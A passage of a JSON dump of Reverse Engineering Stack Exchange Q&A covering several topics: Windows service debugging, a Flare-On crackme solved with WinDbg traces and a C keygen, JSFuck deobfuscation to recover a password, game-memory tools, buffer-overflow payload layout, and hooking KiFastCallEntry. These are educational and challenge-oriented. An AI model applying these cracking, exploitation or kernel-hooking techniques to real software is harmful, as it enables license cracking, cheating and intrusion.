        "Title": "Reversing a Windows service",
        "Tags": "|windows|ollydbg|malware|",
        "Answer": "<p>If you want to debug the service initialization and it happens automatically (not triggered by some action you perform), you probably can't do it on any Windows newer than XP with ollydbg. You'll have to use WinDbg.</p>\n\n<p>You need to set IFEO Debugger for your process name to run CDB <strong>as server</strong> (e.g. <code>cdb.exe -server tcp:port=12345 -noio</code>) and the run WinDbg as a client and connect to your server (<code>windbg.exe -remote tcp:server=localhost,port=12345</code>).</p>\n\n<p>You'll probably want to change the <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ServicesPipeTimeout</code> Registry value to be a bit longer. This is the time the SCM waits for a service it runs to talk to it.</p>\n\n<p>If you don't have to debug the initialization you can simply attach to the service after it starts, and then you can use ollydbg.</p>\n\n<p>All of this and pretty much everything you need to know is documented under the MSDN page titled <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff540613(v=vs.85).aspx\" rel=\"nofollow noreferrer\">Debugging a Service Application</a>.</p>\n\n<hr />\n\n<p><em>Edit:</em> If patching the binary is possible you can add an infinite loop in the entry point like <a href=\"https://reverseengineering.stackexchange.com/users/1876/gandolf\">gandolf</a> suggested and then attach a debugger after you log in.</p>\n\n<p>Or, if the binary doesn't do any SEH tricks that interfere with it: Add an exception to the entry point (0xCC - int 3 is the obvious choice), set <code>AeDebug</code> to a long running process (such as <code>notepad.exe</code>) and then attach a debugger. This is what <a href=\"http://rads.stackoverflow.com/amzn/click/0735662789\" rel=\"nofollow noreferrer\">Inside Windows Debugging</a> proposes (p. 139).</p>\n\n<p>Or, what's even easier and makes even more sense: Add the same INT3, and set <code>AeDebug</code> to the same <code>cdb.exe</code> command-line as you would put in IFEO and connect WinDbg to it after you log in.</p>\n"
    },
    {
        "Id": "10914",
        "CreationDate": "2015-09-20T15:06:08.960",
        "Body": "<p>I'm trying to bruteforce a password in a 32bit Windows application (this is challenge 9 of <a href=\"http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip\" rel=\"nofollow\">http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip</a>), using the <code>inscount0</code> pintool (<a href=\"https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool\" rel=\"nofollow\">https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool</a>) and Powershell. This is possible because the password is actually checked letter by letter in the code. If a letter is correct, the program continues to the second letter (and so on), but if a letter is incorrect, the program terminates. The difficulty comes from the fact that the application is interactively prompting a password instead of passing it as an argument to the executable.</p>\n\n<p>I've been able to make it work with the following Powershell script:</p>\n\n<pre><code>add-type -AssemblyName System.Windows.Forms\n\nfor($i=32; $i -le 126; $i++){\n\n  # \"I\" is the first known letter of password\n  $pass_guess = \"I\" + [char]$i + \"..........\"\n\n  # Launch pin\n  Start-Process -FilePath pin.exe -ArgumentList '-t inscount0.dll -- ch9.exe'\n\n  # send user input\n  start-sleep -Milliseconds 500\n  [System.Windows.Forms.SendKeys]::SendWait(\"$pass_guess{ENTER}\")\n\n  # Read content of count in file\n  start-sleep -Milliseconds 500\n  Write-Output $pass_guess\n  Get-Content .\\inscount.out\n\n}\n</code></pre>\n\n<p>It actually works fine and here is the output that confirmed the 1st letter of the password should by \"I\":</p>\n\n<pre><code>PS C:\\pin&gt; .\\myscript.ps1\n[removed]\nH..........\nCount 32890\nI..........\nCount 32852\nJ..........\nCount 32890\n[removed]\n</code></pre>\n\n<p>Indeed, the check for \"I\" is performed by the program with a different number of instructions as with other letters.</p>\n\n<p>Anyway, if this script is working, it is obviously not optimized because the script is launching the program in a popup window for each occurrence in the loop.</p>\n\n<p>I would like to know how I could improve this script. Many thanks in advance for your help.</p>\n",
        "Title": "Launch pintool expecting user input from Powershell",
        "Tags": "|pintool|",
        "Answer": "<p>in powershell use <strong>-NoNewWindow</strong> Switch if you do not want the new process to be started in a popup window</p>\n\n<pre><code>Start-process -FilePath \".\\XXXXXXX\" -ArgumentList \"xxxx yyy ddd\" -NoNewWindow\n</code></pre>\n\n<p>btw i read your solution and it seems the challenge doesnt check just one character and proceeds to terminate itself on failure of first it seems to check all of the 41 characters </p>\n\n<p>a simple windbg oneliner below</p>\n\n<pre><code>cdb -c \"bp 401a9f \\\".printf \\\\\\\"%c\\\\\\\",@al;gc\\\";g;q\" flachal9.exe\n0:000&gt; cdb: Reading initial command 'bp 401a9f \".printf \\\"%c\\\",@al;gc\";g;q'\nI have evolved since the first challenge. You have not. Bring it.\nEnter the password&gt; abracadabragiligilichoobabygiligilichooyammayammabooo\nabracadabragiligilichoobabygiligilichooyaYou are failure\nquit:\n</code></pre>\n\n<p>it xors each of the character with the corresponding bytes as below</p>\n\n<pre><code>cdb -c \"bp 401ad5 \\\".printf \\\\\\\"%02x \\\\\\\",@ah;gc\\\";g;q\" flachal9.exe\n0:000&gt; cdb: Reading initial command 'bp 401ad5 \".printf \\\"%02x \\\",@ah;gc\";g;q'\nI have evolved since the first challenge. You have not. Bring it.\nEnter the password&gt; abracadabragiligilichoobabygiligilichooyammayammabooo\n\n46 15 f4 bd ff 4c ef 46 eb e6 b2 eb f1 c4 34 67 39 b5 8e ef 40 1b 74 0d 60 26 45\n a8 4a 96 c9 65 e2 32 60 64 8c 65 e3 8e 9f You are failure\nquit:\n</code></pre>\n\n<p>and rotate-lefts(ROL)  the result with the bytes below</p>\n\n<pre><code>cdb -c \"bp 401b14 \\\".printf \\\\\\\"%02x \\\\\\\",@cl;gc\\\";g;q\" flachal9.exe\n0:000&gt; cdb: Reading initial command 'bp 401b14 \".printf \\\"%02x \\\",@cl;gc\";g;q'\nI have evolved since the first challenge. You have not. Bring it.\nEnter the password&gt; abracadabragiligilichoobabygiligilichooyammayammabooo\n\n56 f5 ac 1b b5 93 7e b8 23 da 0a f2 01 61 5c c8 4c d6 16 55 67 b8 c1 f8 bc 11 fa\n 9b 6b f9 d4 75 87 ca ce be 4e 6e f1 b9 6e You are failure\nquit:\n</code></pre>\n\n<p>and cmpexchg with the bytes below</p>\n\n<pre><code>cdb -c \"bp 401b14 \\\".printf \\\\\\\"%02x \\\\\\\",by(@ebx+@esp+2c);gc\\\";g;q\" flachal9.exe\n0:000&gt; cdb: Reading initial command 'bp 401b14 \".printf \\\"%02x \\\",by(@ebx+@esp+2c);gc\";g;q'\nI have evolved since the first challenge. You have not. Bring it.\nEnter the password&gt; abracadabragiligilichoobabygiligilichooyammayammabooo\n\nc3 cc ba 4e f2 eb 27 19 c6 42 06 16 5d 53 55 0e 66 f4 f9 30 9a 77 56 6b f0 8e dc\n 2e 50 e1 5a 80 48 5d 53 c2 b8 d2 01 c3 bc You are failure\nquit:\n</code></pre>\n\n<p>with these three arrays it is possible to keygen the key</p>\n\n<p>keygen src</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;intrin.h&gt;\nunsigned char xorseed[] = {\n   70, 21,244,189,255, 76,239, 70,235,230,178,235,241,196, 52,103, 57,181,142,239, 64,\n   27,116, 13, 96, 38, 69,168, 74,150,201,101,226, 50, 96,100,140,101,227,142,159,  0\n};\n//array contains original bytes  % 20\nunsigned char rolseed[] = {\n  22, 21, 12, 27, 21, 19, 30, 24,  3, 26, 10, 18,  1,  1, 28,  8, 12, 22, 22, 21,  7,\n  24,  1, 24, 28, 17, 26, 27, 11, 25, 20, 21,  7, 10, 14, 30, 14, 14, 17, 25, 14,  0  \n};\nunsigned char cmpseed[] = {\n  195,204,186, 78,242,235, 39, 25,198, 66, 06, 22, 93, 83, 85, 14,102,244,249, 48,154,\n  119, 86,107,240,142,220, 46, 80,225, 90,128, 72, 93, 83,194,184,210, 01,195,188,  0  \n};\nunsigned char key[50] ={0};\nint main (void) {\n  for(int i = 0; i&lt;42;i++) {\n   key[i] = _rotr8(cmpseed[i],rolseed[i]) ^ xorseed[i];\n  printf(\"%c\",key[i]);\n  }\n  return 0;  \n}\n</code></pre>\n"
    },
    {
        "Id": "10921",
        "CreationDate": "2015-09-21T09:17:15.207",
        "Body": "<p>I was making C++ addon headers for BlockLauncher Addon with IDA, reverse engineering libminecraftpe.so file.\nWhile doing that, i got trouble.\nI want to see specific class's non-static members but i cant find non-static member view.\nIs there a way to see non-static members?</p>\n",
        "Title": "Can i see non-static members of a class with IDA?",
        "Tags": "|ida|c++|",
        "Answer": "<p>Non static members are allocated as a structure.  For virtual functions there is also a pointer to a table of pointers that is the first offset in the structure.  Each class member is a specific offset from the beginning of the structure.  The easiest way to see this is to create a class, and assign different members to values that you know.  Then look in IDA and see the offsets that are modified with those known values.</p>\n\n<p>Here is a good article that describes the layout. <a href=\"http://www.openrce.org/articles/full_view/23\" rel=\"nofollow\">http://www.openrce.org/articles/full_view/23</a></p>\n"
    },
    {
        "Id": "10924",
        "CreationDate": "2015-09-21T14:40:37.160",
        "Body": "<p>How to translate code assembly to C?? I am very poor in assembly code. EG:</p>\n\n<pre><code>mov     dword ptr [ebp+data], 612E2F47h\nmov     dword ptr [ebp+data+4], 5B2A451Ch\nmov     dword ptr [ebp+data+8], 6E6B5E18h\nmov     dword ptr [ebp+data+0Ch], 5C121F67h\nmov     dword ptr [ebp+data+10h], 0D5E2223h\nmov     dword ptr [ebp+data+14h], 5E0A5F1Dh\nmov     word ptr [ebp+data+18h], 858h\nmov     word ptr [ebp+data+1Ah], 0h\nxor     eax, eax                \nloc_4012B2:                             \nadd     [ebp+eax+data], al      \ninc     eax                     \ncmp     eax, 1Ah                \njl      short loc_4012B2\n</code></pre>\n",
        "Title": "Translate ASSEMBLY to C",
        "Tags": "|assembly|c|",
        "Answer": "<p>Here is exact answer to you question.</p>\n<ol>\n<li><p>Go to <a href=\"http://www.tutorialspoint.com/compile_assembly_online.php\" rel=\"noreferrer\">http://www.tutorialspoint.com/compile_assembly_online.php</a></p>\n</li>\n<li><p>Doubleclick on main.asm in upper-left corner of the screen</p>\n</li>\n<li><p>Copy your snippet to the text window. You'll need to add definition of data and make some tweaks, my resulting assembly code is</p>\n<pre><code>section     .text\nglobal main\nmain:\n\nxor ebp,ebp\n\nmov      dword [ebp+data], 0x612E2F47\nmov      dword [ebp+data+4], 0x5B2A451C\nmov      dword [ebp+data+8], 0x6E6B5E18\nmov      dword [ebp+data+0Ch], 0x5C121F67\nmov      dword [ebp+data+10h], 0x0D5E2223\nmov      dword [ebp+data+14h], 0x5E0A5F1D \nmov      dword [ebp+data+18h], 0x858\nmov      dword [ebp+data+1Ah], 0x0\nxor     eax, eax                \nloc_4012B2:                             \nadd     [ebp+eax+data], al      \ninc     eax                     \ncmp     eax, 1Ah                \njl      short loc_4012B2\nnop\nnop\n\n\nsection     .data\n\ndata    db 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0\n</code></pre>\n</li>\n<li><p>Press compile button</p>\n</li>\n<li><p>Go to project menu, download the project, extract <code>demo</code> file from the archive</p>\n</li>\n<li><p>Go to <a href=\"https://retdec.com/decompilation/\" rel=\"noreferrer\">retdec decompiler site</a></p>\n</li>\n<li><p>Select executable input file and upload your binary file there</p>\n</li>\n<li><p>Press decompile</p>\n</li>\n<li><p>See results</p>\n</li>\n</ol>\n<p>I wouldn't say that results of this translation to C code are too much understandable.\nIn addition I'd like to note that learning 6 assembly commands is much less time consuming process.</p>\n"
    },
    {
        "Id": "10946",
        "CreationDate": "2015-09-24T19:02:42.343",
        "Body": "<p>I want to get into reverse engineering and eventually be able to read the memory of a specific game during runtime and work with this data. For this purpose I have been doing research on that topic and was considering to start with a simple task to learn about the proper tools and stuff like finding offsets for various information.</p>\n\n<p>I wanted to open an instance of the notepad editor, write some text into it and then access this text from another program after figuring out the right addresses. Although it seems as if OllyDbg is a famous choice I had problems to attach it to my notepad process. (Apparently some problem with the 64-bit Windows 10 would be my first guess here.)</p>\n\n<p>Anyways, I was curious if you can suggest me tools and alternatives for OllyDbg to get into this, especially proving the possibility to search the memory contents with specific patterns, in my sample case the text I entered on screen.</p>\n",
        "Title": "Tools to get started with reading memory during runtime",
        "Tags": "|windows|ollydbg|tools|memory|",
        "Answer": "<p><a href=\"https://www.unknowncheats.me/forum/general-programming-and-reversing/145833-reclass-2015-a.html\" rel=\"nofollow\">ReClass</a> is used to rebuild structures/classes in memory and will output C/C++ compatible structures that you can easily copy into existing code. Really neat too. I've used it personally to access vtables</p>\n\n<p>It is also EXTREMELY effective at following pointers in memory and previewing data</p>\n\n<p><a href=\"https://www.youtube.com/watch?v=K_jj6yF5ac0\" rel=\"nofollow\">How to use ReClass</a></p>\n\n<p>This guy does a good job of explaining how it is used in game hacking</p>\n"
    },
    {
        "Id": "10949",
        "CreationDate": "2015-09-25T01:55:28.353",
        "Body": "<p>the test is on <code>32-bit x86</code>. I compiled the code with <code>gcc 4.2</code>, optimization level <code>o2</code>. I compiled the C code into binary, and then use <code>objdump</code> to disassemble it.</p>\n\n<p>Here are two sequences of instructions used for the function prologue:</p>\n\n<pre><code>0804a6f0 &lt;quotearg_n&gt;:\n804a6f0:       8b 44 24 04             mov    0x4(%esp),%eax\n804a6f4:       b9 ff ff ff ff          mov    $0xffffffff,%ecx\n804a6f9:       8b 54 24 08             mov    0x8(%esp),%edx\n804a6fd:       c7 44 24 04 40 e1 04    movl   $0x804e140,0x4(%esp)\n804a704:       08 \n804a705:       e9 c6 fa ff ff          jmp    804a1d0 &lt;quotearg_n_options&gt;\n804a70a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi\n\n\n0804a730 &lt;quotearg&gt;:\n804a730:       83 ec 1c                sub    $0x1c,%esp\n804a733:       8b 44 24 20             mov    0x20(%esp),%eax\n804a737:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)\n804a73e:       89 44 24 04             mov    %eax,0x4(%esp)\n804a742:       e8 a9 ff ff ff          call   804a6f0 &lt;quotearg_n&gt;\n804a747:       83 c4 1c                add    $0x1c,%esp\n804a74a:       c3                      ret\n804a74b:       90                      nop\n804a74c:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi\n</code></pre>\n\n<p>Note that in function <code>quotearg</code>, register <code>esp</code> is decreased with <code>0x1c</code> before it is used to access the stack and get some arguments. Accutually according to my experience, I think the <code>sub</code> then <code>access</code> pattern is quite common for instructions compiled with <code>O2</code>.</p>\n\n<p>However, note that in function <code>quotearg_n</code>, register <code>esp</code> is directly added with <code>0x4</code> to access the stack. (I think the meaning of instruction at address <code>0x804a6f0</code> is to put the return address of call site to register <code>eax</code>, am I right..?) According to my observation, the pattern used by the first function is rare, around 5% for <code>gcc</code> compiled middle size C program with <code>O2</code>.</p>\n\n<p>So here is my question:</p>\n\n<p>Why does compiler generate function prologue instructions in a way similar to <code>quoterag_n</code>? What is the exact meaning of the first three instructions start from address <code>0x804a6f0</code>? </p>\n\n<p>Why doesn't compiler always generate function prologue instructions following the <code>sub</code> then <code>access</code> pattern? (such as <code>quoterag</code>)</p>\n\n<p>Am I clear? thanks a lot</p>\n",
        "Title": "What is the difference between these two function prologue instruction sequences?",
        "Tags": "|assembly|x86|c|gcc|",
        "Answer": "<p>It seems like the functions are defined like this:</p>\n\n<pre><code>int quotearg_n(int a, int b) {\n    return quotearg_n_options(a, b, -1, \"some_string\");\n}\n\nint quotearg(int a) {\n    return quotearg_n(0, a);\n}\n</code></pre>\n\n<p>(the <code>int</code>s might as well be pointers, can't tell this from your snippets, and the \"some string\" might be a pointer to a pre-initialized structure)</p>\n\n<p>These functions have the normal <code>ABI</code>, which means they pass all arguments on the stack, while <code>quotearg_n_options</code> receives the first three of its arguments in registers, and only the last one on the stack. This might be due to a modifier in the function's prototype, and it might also be due to the function being declared <code>static</code>, so the compiler knows it can't be called from outside the current source file so it's safe to change it's <code>ABI</code>.</p>\n\n<p>Now, from <code>quotearg</code> to <code>quotearg_n</code>, the number of parameters on the stack increases, so the compiler <strong>needs to make room for them</strong>, initializes them, calls the subroutine, and returns.</p>\n\n<p>From <code>quotearg_n</code> to <code>quotearg_n_options</code>, the number of parameters increases again (from 2 to 4), but since three parameters are passed in registers <code>eax</code>, <code>edx</code> and <code>ecx</code>, only the string has to be on the stack. Which means the number of parameter on the stack <em>decreases</em>, so <strong>the call needs <em>less</em> stack space</strong>, which allows the compiler to recycle the current stack. So what the compiler does is something called <em>tail call elimination</em>: instead of calling the function, then returning, it sets up the stack in the way the callee expects it, then jumps to it instead of using a call. That function (<code>quotearg_n_options</code>) will execute, and when it returns, it will directly return to the function that called <code>quotearg_n</code>, the original one.</p>\n\n<p>So to answer your question: The compiler uses the <a href=\"https://stackoverflow.com/questions/310974/what-is-tail-call-optimization\">tail call elimination</a> optimization, which it can do only if the number of parameters <em>on the stack</em> of the called function is lower than the number of parameters <em>on the stack</em> of the caller.</p>\n"
    },
    {
        "Id": "10950",
        "CreationDate": "2015-09-25T02:46:05.133",
        "Body": "<p>How to deobfuscate javascript file, i have a javascript code are deobfuscate .</p>\n\n<hr>\n\n<p>Code: <a href=\"http://pastebin.com/zFH2GidN\" rel=\"nofollow\">http://pastebin.com/zFH2GidN</a>\nHelp me and thanks you.</p>\n",
        "Title": "How to deobfuscated javascript?",
        "Tags": "|obfuscation|javascript|",
        "Answer": "<p><strong>UPDATE</strong></p>\n\n<p>Based on @ws's comment and @nderscore's code, use <a href=\"http://jsfiddle.net/AcidShout/0fjcsw00/\" rel=\"noreferrer\">this JSFiddle</a> to decode the thing.</p>\n\n<hr>\n\n<p>To find the password that this script asks for, you can use a simple debugging trick.</p>\n\n<ul>\n<li>Go to <a href=\"http://www.jsfuck.com/\" rel=\"noreferrer\">JSFuck</a> and uncheck the <code>Eval Source</code> option.</li>\n<li>Paste the obfuscated JavaScript</li>\n<li>Run</li>\n</ul>\n\n<p>You'll see:</p>\n\n<p><a href=\"https://i.stack.imgur.com/QrI4o.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/QrI4o.png\" alt=\"enter image description here\"></a></p>\n\n<p>It seems to be calling <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt\" rel=\"noreferrer\"><code>prompt()</code></a>, so put a breakpoint on it, like this:</p>\n\n<p><em>(I'll be using Chrome for this)</em></p>\n\n<ul>\n<li>Open console (<kbd>F12</kbd>)</li>\n<li>Backup the original <code>prompt</code> like this: <code>window.prompt_ = window.prompt</code></li>\n<li>Override the call to prompt with a breakpoint: <code>window.prompt = function(a, b){ debugger; return window.prompt_(a, b); }</code></li>\n<li>Click <code>Run This</code></li>\n<li>You'll break here:</li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/EQq4Q.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/EQq4Q.png\" alt=\"enter image description here\"></a></p>\n\n<ul>\n<li>Check the callstack at the right bottom.</li>\n<li>Go back one function, and you'll see:</li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/LsnJW.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/LsnJW.png\" alt=\"enter image description here\"></a></p>\n\n<h1>Bingo!</h1>\n\n<p>Password is <code>forevermore</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/D7whU.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/D7whU.png\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/603Do.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/603Do.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "10957",
        "CreationDate": "2015-09-25T12:38:34.417",
        "Body": "<p>I think that this is a basic need of every reverser so this question may have been asked in other places but really, I'm unable to find an answer. Maybe I'm asking the wrong question.</p>\n\n<p>So, supposing I have a DLL that change base VA among different execution because of ASLR, in windows I can set DLLCharacteristic to make sure is loaded every time at the same address (losing eventually the signature). But what for generic code?</p>\n\n<p>Suppose that a program allocate a buffer, copy some data, decrypt it then run it. In IDA, of course I can take a snapshot of memory, analyze it, put label and so on, but if I run the program the second time chances are the address are changed, so I can't benefit of my previous analysis.</p>\n\n<p>Is there a way map an arbiratry address with a previous analyzed section in the database?</p>\n",
        "Title": "How to deal with code that change its address among different execution",
        "Tags": "|ida|windows|packers|",
        "Answer": "<p>To map your section to another address use <strong>Edit -> Segments</strong> and than <strong>Move current segment</strong> in IDA, you can even rebase the whole program in this menu.</p>\n\n<p>I hope I have understood your question. Sorry if not :)</p>\n"
    },
    {
        "Id": "10963",
        "CreationDate": "2015-09-25T20:50:39.723",
        "Body": "<p>The IDA Pro Python function ScreenEA() will return the address the cursor is at and if I manually position the cursor at the start, it will return the first valid address.</p>\n\n<p>However, I would like to be able to position my cursor anywhere and be able to ask for what the first valid address is. What function will return that information?</p>\n",
        "Title": "IDA Pro: function to return first valid address",
        "Tags": "|ida|idapython|",
        "Answer": "<p>You'd want to use <code>MinEA()</code>, which is <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/650.shtml\" rel=\"nofollow\">equivalent to</a> <code>GetLongPrm(INF_MIN_EA)</code>.</p>\n\n<p>From <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/285.shtml\" rel=\"nofollow\">IDA's documentation</a>:</p>\n\n<pre><code>INF_MIN_EA      // int32; The lowest address used\n                //        in the program\n</code></pre>\n"
    },
    {
        "Id": "10971",
        "CreationDate": "2015-09-26T16:24:13.570",
        "Body": "<p>What is the format for .so native android files developed in Xamarin Mono droid? From this SO <a href=\"https://stackoverflow.com/questions/19072897/xamarin-android-does-native-code-compilation-make-reverse-engineering-harder\">post</a> it appears they are actually .NET IL binaries (not native machine code). However, this other SO <a href=\"https://reverseengineering.stackexchange.com/questions/4624/how-do-i-reverse-engineer-so-files-found-in-android-apks\">post</a> on Android NDK development appears to contradict this. In the apk file, there is a lib/armebi folder and a lib/x86 folder. Is it possible for .NET to be compiled to ARM format? If that is possible, it appears that x86 based .NET decompilers like ILSpy cannot handle ARM code too. Is there a better solution?</p>\n\n<p>EDIT: I know Hopper and IDA Pro works with ARM mode, but we get assembly instead of .NET code.</p>\n",
        "Title": "Opening mono droid .so files in .NET decompiler",
        "Tags": "|disassembly|decompilation|arm|android|.net|",
        "Answer": "<p>If you're looking at a \"normal\" mono droid application (compiled with something like Xamarin) then you'll see some of these structures in the APK/ZIP'</p>\n\n<pre><code>/assemblies/Sikur.Monodroid.dll\n/assemblies/Sikur.dll\n/assemblies/Xamarin.Android.Support.v13.dll\n/assemblies/Xamarin.Android.Support.v4.dll\n/assemblies/Xamarin.Android.Support.v7.AppCompat.dll\n/assemblies/Xamarin.Android.Support.v7.CardView.dll\n/assemblies/Xamarin.Android.Support.v7.RecyclerView.dll\n/assemblies/Xamarin.Mobile.dll\n/assemblies/mscorlib.dll\n/classes.dex\n/lib\n/lib/armeabi-v7a\n/lib/armeabi-v7a/libmonodroid.so\n/lib/armeabi-v7a/libmonosgen-2.0.so\n</code></pre>\n\n<p>File in the <code>assemblies</code> directory will be the Mono/.Net code and can be reversed using those normal tools.</p>\n\n<p><code>classes.dex</code> is a normal Android Dalvik executable file (dex) which can be reversed using the usual tools (baksmali, IDA Pro, etc) - though it should just be the stub loaded to start the Mono engine.</p>\n\n<p>The files includes in <code>lib/**/*.so</code> are native shared libraries which are compiled into an ELF ARM file. These are normally going to the the monodroid engine (<code>libmonodroid.so</code>) and potentially other plugins that have been used by the developer. These would require ELF ARM capable disassemblers like Hopper, IDA Pro, r2, etc.</p>\n\n<p>In the specific example above, the only non-Xamarin code would be located in <code>Sikur.dll</code> and <code>Sikur.Monodroid.dll</code>.</p>\n"
    },
    {
        "Id": "10972",
        "CreationDate": "2015-09-26T17:37:40.830",
        "Body": "<p>I'd like to know why we have to put the shellcode before the return address in a buffer overflow. Logically the return address will point to the shellcode and will be executed. So, the return address should be put before the shellcode. </p>\n\n<p>I read about it here : <a href=\"https://reverseengineering.stackexchange.com/questions/2118/buffer-overflow-exploits-why-is-the-shellcode-put-before-the-return-address\">buffer overflow exploits - Why is the shellcode put before the return address</a>. </p>\n\n<p>But, I didn't really understand. Can someone explain me.</p>\n",
        "Title": "Why do we have to put shellcode before return address",
        "Tags": "|shellcode|",
        "Answer": "<p>You can put your shellcode wherever you want. It's usually below the return address in textbook stack overflow, because it causes your total payload to be smaller.</p>\n\n<p>Small illustration: you're overflowing a 256 bytes buffer on the stack. Your payload would look like this in classical overflow:</p>\n\n<p>NOP * (256 - len(shellcode)) + shellcode + padding + returnaddress</p>\n\n<p>If you put the payload after:</p>\n\n<p>padding * 256 + padding + returnaddress + nop * (as much as needed) + shellcode.</p>\n\n<p>Pro: you can sometimes add much more space for your nops or bigger shellcode. If you're doing ROP you'll need to use that space after the return address anyway.</p>\n\n<p>Cons: your payload is bigger and may not fit in your buffer.</p>\n"
    },
    {
        "Id": "10981",
        "CreationDate": "2015-09-28T16:35:09.530",
        "Body": "<p>Hi i want to hook the KiFastCallEntry function from my Windows Driver , but i dont know how to get the addrres of this function , can someone pls tell me how?</p>\n\n<p>Target OS is Windows 7 32 bit</p>\n",
        "Title": "How to get the address of KiFastCallEntry from windows wdm driver",
        "Tags": "|windows|c|",
        "Answer": "<p><a href=\"https://msdn.microsoft.com/en-us/library/y55zyfdx.aspx\" rel=\"nofollow\"><code>__readmsr(</code></a><a href=\"http://wiki.osdev.org/SYSENTER#MSRs\" rel=\"nofollow\"><code>IA32_SYSENTER_EIP )</code></a></p>\n"
    },
    {
        "Id": "10983",
        "CreationDate": "2015-09-28T17:23:36.043",
        "Body": "<p>i want to see all graphics functions from the win32k!W32pServiceTable function pointer Array but it only returns \"????\"</p>\n\n<pre><code>kd&gt; dps nt!KeServiceDescriptorTableShadow L8\n8298f980  8288b73c nt!KiServiceTable\n8298f984  00000000\n8298f988  00000191\n8298f98c  8288bd84 nt!KiArgumentTable\n8298f990  82376000 win32k!W32pServiceTable\n8298f994  00000000\n8298f998  00000339\n8298f99c  8237702c win32k!W32pArgumentTable\n\nkd&gt; dps win32k!W32pServiceTable\n82376000  ????????\n82376004  ????????\n82376008  ????????\n8237600c  ????????\n82376010  ????????\n82376014  ????????\n82376018  ????????\n8237601c  ????????\n82376020  ????????\n82376024  ????????\n82376028  ????????\n8237602c  ????????\n82376030  ????????\n82376034  ????????\n82376038  ????????\n8237603c  ????????\n82376040  ????????\n82376044  ????????\n82376048  ????????\n8237604c  ????????\n82376050  ????????\n82376054  ????????\n82376058  ????????\n8237605c  ????????\n82376060  ????????\n82376064  ????????\n82376068  ????????\n8237606c  ????????\n82376070  ????????\n82376074  ????????\n82376078  ????????\n8237607c  ????????\n</code></pre>\n\n<p>Target OS is Windows 7 32 bit</p>\n",
        "Title": "dps win32k!W32pServiceTable windbg command returning \"????\"",
        "Tags": "|windows|windbg|",
        "Answer": "<p>From <a href=\"http://www.osronline.com/showthread.cfm?link=165166#T2\" rel=\"nofollow\">http://www.osronline.com/showthread.cfm?link=165166#T2</a>:</p>\n\n<blockquote>\n  <p>When looking at session space you need to switch to a process from the\n  appropriate session. If you just want to disassemble <code>win32k</code> code, any\n  interactive process will do (e.g. <code>explorer.exe</code>):</p>\n  \n  <p><code>!process 0 0 explorer.exe</code></p>\n  \n  <p><code>.process /P &lt;EPROCESS&gt;</code></p>\n</blockquote>\n"
    },
    {
        "Id": "10986",
        "CreationDate": "2015-09-28T21:39:35.763",
        "Body": "<p>I have just started teaching myself IDA and I have had some trouble with an array of structs.</p>\n\n<p>I have found and defined a struct similar to this: (simplified)</p>\n\n<pre><code>struct {\nchar filename[50];\nint field2;\nint field3;\n}\n</code></pre>\n\n<p>I then found an array of these.</p>\n\n<p>So I defined the struct, and then the array.</p>\n\n<p>Before I defined them, the filename showed as a comment wherever it was referenced in the code.</p>\n\n<p>Now however, it only references the first element of the array and an offset.\nSo now looking through the code, I don't have comments with the file being referenced, which makes it hard to tell what file the code is working on.</p>\n\n<p>Is there a way for me to keep the array of structs and the comments, or do I need to undefine the array &amp; struct to get the comment with filename back?</p>\n\n<p>EDIT:\nI forgot to add, the filenames also no longer show up in the strings window after I created the array of structs</p>\n\n<p>EDIT 2:\nHere is my struct definition</p>\n\n<pre><code>000000 file_data_struct_t struc ; (sizeof=0x4F)\n00000000 base_file_path  db 18 dup(?)            ; string(C)\n00000012 unknown         db 44 dup(?)\n0000003E loaded_data_ptr dd ?                    ; offset\n00000042 ptr2            dd ?                    ; offset\n00000046 file_length     db ?\n00000047 unknown3        db ?\n00000048 unknown4        db ?\n00000049 unknown5        db ?\n0000004A use_2nd_func    db 4 dup(?)\n0000004E flag            db ?\n0000004F file_data_struct_t end\n</code></pre>\n\n<p>This is for the game <a href=\"https://en.wikipedia.org/wiki/Theme_Park_(video_game)\" rel=\"nofollow\">Theme Park</a></p>\n",
        "Title": "IDA Array of structs hiding strings",
        "Tags": "|ida|struct|array|",
        "Answer": "<p>Press <kbd>*</kbd> and uncheck 'Create as array'. This will convert the array into separate structs, and you'll see the strings again.</p>\n"
    },
    {
        "Id": "10997",
        "CreationDate": "2015-09-30T12:36:05.680",
        "Body": "<p>As I understand, the BIOS code/bitstream that held in the ROM should be generic (work alongside with multiple CPU types or ISAs). In addition, I saw mentions in the web that claim to have the possibility to dump it's code (and to '<em>disassemble</em>' it).</p>\n\n<p>So, in which language, instruction set or machine code is it written? Doesn't it need any kind of processor to perform its operations? If so I guess that it will use the external CPU, then how does it knows the specific instruction set of the employed one?</p>\n\n<p>Maybe it has an internal processor?</p>\n",
        "Title": "In which language is the BIOS written?",
        "Tags": "|disassembly|dumping|bios|",
